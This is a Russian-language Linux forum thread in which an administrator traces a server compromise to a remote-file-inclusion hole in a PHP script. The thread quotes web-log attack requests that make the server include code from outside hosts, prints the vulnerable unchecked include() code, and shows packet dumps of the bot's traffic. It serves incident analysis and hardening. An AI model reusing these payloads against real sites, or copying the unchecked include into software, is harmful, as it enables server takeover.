LINUX.ORG.RU

Возможный взлом сервера


0

0

Помогите разобраться. Есть подозрения на взлом сервера. 
Я заметил высокий для него loadaverage ~1.2, ну и стал смотреть 
статистику. Заметил постоянно запускаемый процесс /tmp/dsadas от 
простого юзера. Не могу никак прибить. Он запускается на секунду, сам 
прибивается, и снова запускается. 
# pstree -a -p -n -u -l
init
|
... тут много всего не относящегося к делу
|
`exe,3000,web_user

Pid меняется каждые пару секунд. Что это за exe-процесс? Родителем его
является init. 

Далее
# `netstat -apn | grep dsadas` выдаёт такую интересеную строку:
tcp        0      0 my_server_ip:60174       219.114.105.188:113 ESTABLISHED 26262/dsadas

Она висит всё время, меняется только pid. Удалённый айпишник - японский. Очень пахнет взломом. Есть у кого-нибудь мысли по этому 
поводу? Да, пробовал запускать chkrootkit. Ничего не обнаружил.

Вот ещё, что странно:
# ps auxwww | grep 504
504      26299 40.0  0.0  1604  500 ?        R    18:25   0:00 /tmp/dsadas
root     26301  0.0  0.0  1504  452 pts/0    S    18:25   0:00 grep 504

504 - это uid вебюзера, с правами которого запускается неопознанная
команда. Что интересно, для всех других показывается имя пользователя,
как во второй строчке для root'a, а у это команды - только цифровой uid.

Система asplinux-9. Ядро 2.4.20-9asp. Работает как почтовый и 
вебсервер. Локальных пользователей с шеллом нет. 

anonymous

> Pid меняется каждые пару секунд. Что это за exe-процесс? Родителем его является init.

значит перестартует постоянно. раз родительство принял init, значит настоящий родитель на момент выдачи ps уже умер.

> 504 26299 40.0 0.0 1604 500 ? R 18:25 0:00 /tmp/dsadas

файл /tmp/dsadas еще есть?

> tcp 0 0 my_server_ip:60174 219.114.105.188:113 ESTABLISHED 26262/dsadas

вообще говоря ident - может быть и нормально. а может быть и нет. а послушать, чего он там на этом порту гоняет можешь?

> 504 - это uid вебюзера

а пользователя 504 точно нет?

ivlad ★★★★★
()
Ответ на: комментарий от ivlad

> начит перестартует постоянно. раз родительство принял init,

Это да. Название у него странное - просто "exe". И как прибить такой 
процесс, если он меняет pid каждую секунду?

> файл /tmp/dsadas еще есть?

Нет его.

> вообще говоря ident - может быть и нормально. а может быть и нет. 

Три дня он висел, пока его не обнаружили, и процесс совпадает по 
имени с тем, который неубиваем.

> а послушать, чего он там на этом порту гоняет можешь?

Вот, что он пишет:

# tcpdump -n port 113
01:47:46.683821 62.x.x.x.60174 > 219.114.105.188.auth: P 1858117535:1858117540(5) ack 1096789032 win 5840 (DF)
01:47:47.057328 219.114.105.188.auth > 62.x.x.x.60174: P 1:94(93) ack 5 win 5656 (DF)
01:47:47.057375 62.x.x.x.60174 > 219.114.105.188.auth: . ack 94 win 5840 (DF)
01:48:20.651086 62.x.x.x.60174 > 219.114.105.188.auth: P 5:10(5) ack 94 win 5840 (DF)
01:48:21.023464 219.114.105.188.auth > 62.x.x.x.60174: P 94:187(93) ack 10 win 5656 (DF)
01:48:21.023516 62.x.x.x.60174 > 219.114.105.188.auth: . ack 187 win 5840 (DF)
01:48:54.570771 62.x.x.x.60174 > 219.114.105.188.auth: P 10:15(5) ack 187 win 5840 (DF)
01:48:54.944042 219.114.105.188.auth > 62.x.x.x.60174: P 187:280(93) ack 15 win 5656 (DF)
01:48:54.944100 62.x.x.x.60174 > 219.114.105.188.auth: . ack 280 win 5840 (DF)
01:49:28.529761 62.x.x.x.60174 > 219.114.105.188.auth: P 15:20(5) ack 280 win 5840 (DF)
01:49:28.905995 219.114.105.188.auth > 62.x.x.x.60174: P 280:373(93) ack 20 win 5656 (DF)
01:49:28.906044 62.x.x.x.60174 > 219.114.105.188.auth: . ack 373 win 5840 (DF)
01:50:02.506967 62.x.x.x.60174 > 219.114.105.188.auth: P 20:25(5) ack 373 win 5840 (DF)
01:50:02.885214 219.114.105.188.auth > 62.x.x.x.60174: P 373:466(93) ack 25 win 5656 (DF)
01:50:02.885283 62.x.x.x.60174 > 219.114.105.188.auth: . ack 466 win 5840 (DF)
01:50:36.390448 62.x.x.x.60174 > 219.114.105.188.auth: P 25:30(5) ack 466 win 5840 (DF)
01:50:36.782854 219.114.105.188.auth > 62.x.x.x.60174: P 466:559(93) ack 30 win 5656 (DF)
01:50:36.782902 62.x.x.x.60174 > 219.114.105.188.auth: . ack 559 win 5840 (DF)


# tcpdump -n -w ./port113.log port 113

# cat port113.log | strings
-QI@
DONE
START 3675935 4 68Lh70NwNOEoA abcdefghijklx
(QJ@
-QK@
DONE
START 3676724 4 68Lh70NwNOEoA abcdefghijkl
(QL@
-QM@
DONE
START 3677546 4 68Lh70NwNOEoA abcdefghijkl
(QN@
-QO@
DONE
START 3678340 4 68Lh70NwNOEoA abcdefghijkl
(QP@
-QQ@
DONE
START 3679142 4 68Lh70NwNOEoA abcdefghijkl
(QR@
-QS@
DONE
START 3679922 4 68Lh70NwNOEoA abcdefghijkl!
(QT@
-QU@
DONE
START 3680744 4 68Lh70NwNOEoA abcdefghijklC
(QV@
-QW@
DONE
START 3681519 4 68Lh70NwNOEoA abcdefghijkle
(QX@
}i@P
-QY@
DONE
START 3682349 4 68Lh70NwNOEoA abcdefghijkl
(QZ@

Вот в сети нашёл описание, как мне кажется, аналогичного случая:
http://www.imperialviolet.org/
Там точно такое же название процесса - "dsadas", но порты разные.
Похоже на то, что это взлом через дырявый php-скрипт.

anonymous
()
Ответ на: комментарий от ivlad

> а пользователя 504 точно нет?

В /etc/password нет. Есть пользователь с таким uid.

anonymous
()
Ответ на: комментарий от ivlad

Успел поймать этот процесс strace'ом:

# strace -p1628
--- SIGALRM (Alarm clock) @ 0 (0) ---
clone(child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|0x11, <ignored>, <ignored>, 0x400242c8) = 1642
exit_group(0) 

Больше ничего не удаётся увидеть.

anonymous
()

Успел выдернуть бинарник этого процесса:

# cat /proc/2294/exe > exe ; ls -la /proc/2294/exe
lrwxrwxrwx    1 webuser users           0 Aug 16 03:11 /proc/2294/exe -> /tmp/upxDG0GT4QAJDG (deleted)

Что с ним можно сделать? И еслть ли мысли, как прибить такой мутирующий процесс?

anonymous
()
Ответ на: комментарий от anonymous

Прибить то его просто
killall -9 exe

только загвоздка
1 он может снова появится тут же
2 он может появится после перезагрузки


В ситуации 1 предлагаю отключить все службы и поприбивать его. Если не получается прибивать то задаунить тачку, загрузится с дискетки и сравнить твой init с init-ом из дистрибутива если разные то соответственно заменить инит. Отключить все службы при старте машины и стартовать машину. Потом поочередно запускать службы наблюдая за процессами в системе.

2 Смотреть загрузочные скрипты на момент запихивания туда излишних строк. Можно сразу сменить init

PS: В дитсре ASP rpm - используется ? если используется и все пакеты стоят из дистрибутива то man rpm. Можно сделать запрос на сравнение файлов из пакетов дистрибутива с тем что лежит на твоем винчестере, соответственно сразу увидишь измененые файлы в системе. И пользователя 504 удаляй из системы, кастати с какими провами он в системе?

Aleks_IZA
()
Ответ на: комментарий от Aleks_IZA

> Прибить то его просто
> killall -9 exe

Да, точно, прибился он. Я просто растерялся вначале, увидев как быстро
он помирает и рождается вновь.

> 1 он может снова появится тут же

Нет, ночь простояла машина спокойно, без повторных рецидивов.

> 2 он может появится после перезагрузки

А это вряд ли. После перезагрузки там уже не будет asp-linux ;)
Рядом стоит такой же вебсервер на слаке уже четыре года. И ничего такого
с ним не произошло.

Ладно, спасибо всем. А эксплойт, похоже, довольно свежий. Мотайте на ус.
Самая вероятная причина - взлом через дырявый php-скрипт. А конкретно,
методом подстановки удалённого скрипта в include. Чтобы его прикрыть,
нужно выставить в php.ini такую строчку:

allow_url_fopen = off

anonymous
()
Ответ на: комментарий от anonymous

Если интересно, вот каковы были причины:

В логе вебсервера найдено несколько вот таких строк:

2004-08-13 12:19:17.384220500   65.102.167.50   www.webserver.ru       GET     /articles/index.php     datename=http://65.102.167.50:113/ HTTP/1.0        200     0       -       Lynx/2.8.3dev.8 libwww-FM/2.14
2004-08-14 23:34:57.038295500   217.6.80.254    www.webserver.ru       GET     /articles/index.php     datename=http://217.6.80.254:113/  HTTP/1.1        200     0       -       curl/7.10.2 (i686-suse-linux) libcurl/7.10.2 OpenSSL/0.9.6i ipv6 zlib/1.1.4

А вот и интересное место скрипта, через который прошёл взлом:
# cat articles/index.php

<? 
if ($datename) 
{ 
      include("$datename" . ".inc");
}
else
{
      include("content.inc");
}
?>

Ну, всё, разбор закончен. Теперь стало легче ;-)

А те ребята-взломщики - молодцы. Нарисовали автономный бот по 
тестированию дырявого php-кода. Надо себе такой сделать для 
тестирования работ местных программистов, прежде чем эти работы
ставить на сервер.

anonymous
()

Обычный web-взлом. У меня таких было много, потом отматерил PHP-программистов, и стало тихо.

Deleted
()
Ответ на: комментарий от anonymous

>Это да. Название у него странное - просто "exe". И как прибить такой >процесс, если он меняет pid каждую секунду?

killall -9 name

kpblca
()
Ответ на: комментарий от kpblca

На самолм деле могло быть и хуже! Просто хакеры попались не сильно
грамотные. А ведь могли ещё и proctitle поменять на каждый клон.
Тогда прибить процесс по имени уже было бы нельзя. Оставалось бы только
применить эвристику и буквально ловить этот процесс, перебирая свободные
pid'ы ;)

anonymous
()
Ответ на: комментарий от Cosmicman

А не успел бы. ps поймал бы статическую картину процессов, а к моменту
киляния процесс мог уже испариться и родиться под новым pid, и при этом
ps не отразил бы его в своём списке, так как в предсказывать будущее
он не может ;)

anonymous
()
Ответ на: комментарий от anonymous

>На самолм деле могло быть и хуже! Просто хакеры попались не сильно
>грамотные. А ведь могли ещё и proctitle поменять на каждый клон.
>Тогда прибить процесс по имени уже было бы нельзя. Оставалось бы >только
>применить эвристику и буквально ловить этот процесс, перебирая >свободные
>pid'ы ;)

На зачем эвристику ? можно просто убить все процессы в системе. man kill. Технически можно остановить все процессы.
init всеравно не убъется а вот консоли перезапустятся и иксы тоже если в ините прописанно. Ну и перезапустится все что есть в конфиге инита.

Aleks_IZA
()
Ответ на: комментарий от Aleks_IZA

Так ведь можно ограничить число запущенных процессов для данного юзера до числа_запущенных_процессов. Тогда этот exe не сможет больше запускать дочерних процессов и следовательно умрет.

anonymous
()
Ответ на: комментарий от anonymous

Но перед тем как умереть он все же должен запустить новый процесс. По этому во время после запуска и как раз перед смертью длжно висеть 2 процесса. А вот тут система и не дает ему запустить дочерний процесс. После чего вирус умирает без дочернего процесса. По-моему все чисто.

anonymous
()
Ответ на: комментарий от Cosmicman

> ps --User user |awk '/^ [0-9]+/{print $1;}' |xargs kill -9
>
> убивает все процессы пользователя user
>
> ;)

Или короче:

kill -9 `ps -u user | grep process_name | awk '{print $1}'`

anonymous
()
Ответ на: комментарий от anonymous

Это достаточно примитивно,
я видел несколько таких штук,
1. пишется демон, который на любой запрос отвечает одним и тем же контентом для проверки есть ли дырка или нет.
это строк 15 кода

2. пишется прога которая собирает все урлы на сайте, а потом вместо параметров подставляет урл, некоторые чтобы не засорять логи засветившимися урлами подставляют их в хексах

anonymous
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.